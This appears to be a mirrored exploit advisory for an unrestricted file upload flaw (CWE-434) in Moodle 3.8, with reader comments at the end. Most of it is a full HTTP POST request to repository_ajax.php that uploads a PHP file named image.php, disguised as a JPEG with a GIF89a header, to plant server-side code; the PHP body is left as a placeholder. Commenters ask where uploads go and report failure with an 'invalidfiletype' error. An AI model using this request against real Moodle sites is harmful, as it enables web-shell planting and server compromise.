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January 7, 2021 13:29
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| # Exploit Title: Moodle 3.8 - Unrestricted File Upload | |
| # Date: 2019-09-08 | |
| # Exploit Author: Sirwan Veisi | |
| # Vendor Homepage: https://moodle.org/ | |
| # Software Link: https://github.com/moodle/moodle | |
| # Version: Moodle Versions 3.8, 3.7, 3.6, 3.5, 3.4... | |
| # Tested on: Moodle Version 3.8 | |
| # CWE : CWE-434 | |
| I found an Unrestricted Upload vulnerability for Moodle version 3.8 , that | |
| allows the attacker to upload or transfer files of dangerous types. | |
| Example exploitation request: | |
| POST /repository/repository_ajax.php?action=upload HTTP/1.1 | |
| Host: VulnerableHost | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) | |
| Gecko/20100101 Firefox/80.0 | |
| Accept: | |
| text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
| Accept-Language: en-US,en;q=0.5 | |
| Accept-Encoding: gzip, deflate | |
| Content-Type: multipart/form-data; | |
| boundary=---------------------------38898830537874132223151601680 | |
| Content-Length: 2763 | |
| Origin: https://VulnerableHost | |
| Connection: close | |
| Referer: https://VulnerableHost/user/files.php | |
| Cookie: MoodleSession=bpn90khjdh7mq4phs8i9r0caai | |
| Upgrade-Insecure-Requests: 1 | |
| -----------------------------38898830537874132223151601680 | |
| Content-Disposition: form-data; name="repo_upload_file"; | |
| filename="image.php" | |
| Content-Type: image/jpeg | |
| GIF89a; | |
| <?php | |
| [code here] | |
| ?> | |
| ----------------------------- |
Where can i access the uploaded files ?
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it's not working
{"error":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0442\u0438\u043f\u0430 \u00ab\u0422\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b\u00bb \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e.","errorcode":"invalidfiletype","stacktrace":"* line 185 of /repository/upload/lib.php: moodle_exception thrown\n* line 63 of /repository/upload/lib.php: call to repository_upload->process_upload()\n* line 324 of /repository/repository_ajax.php: call to repository_upload->upload()\n","debuginfo":"\nError code: invalidfiletype","reproductionlink":"http://localhost/"}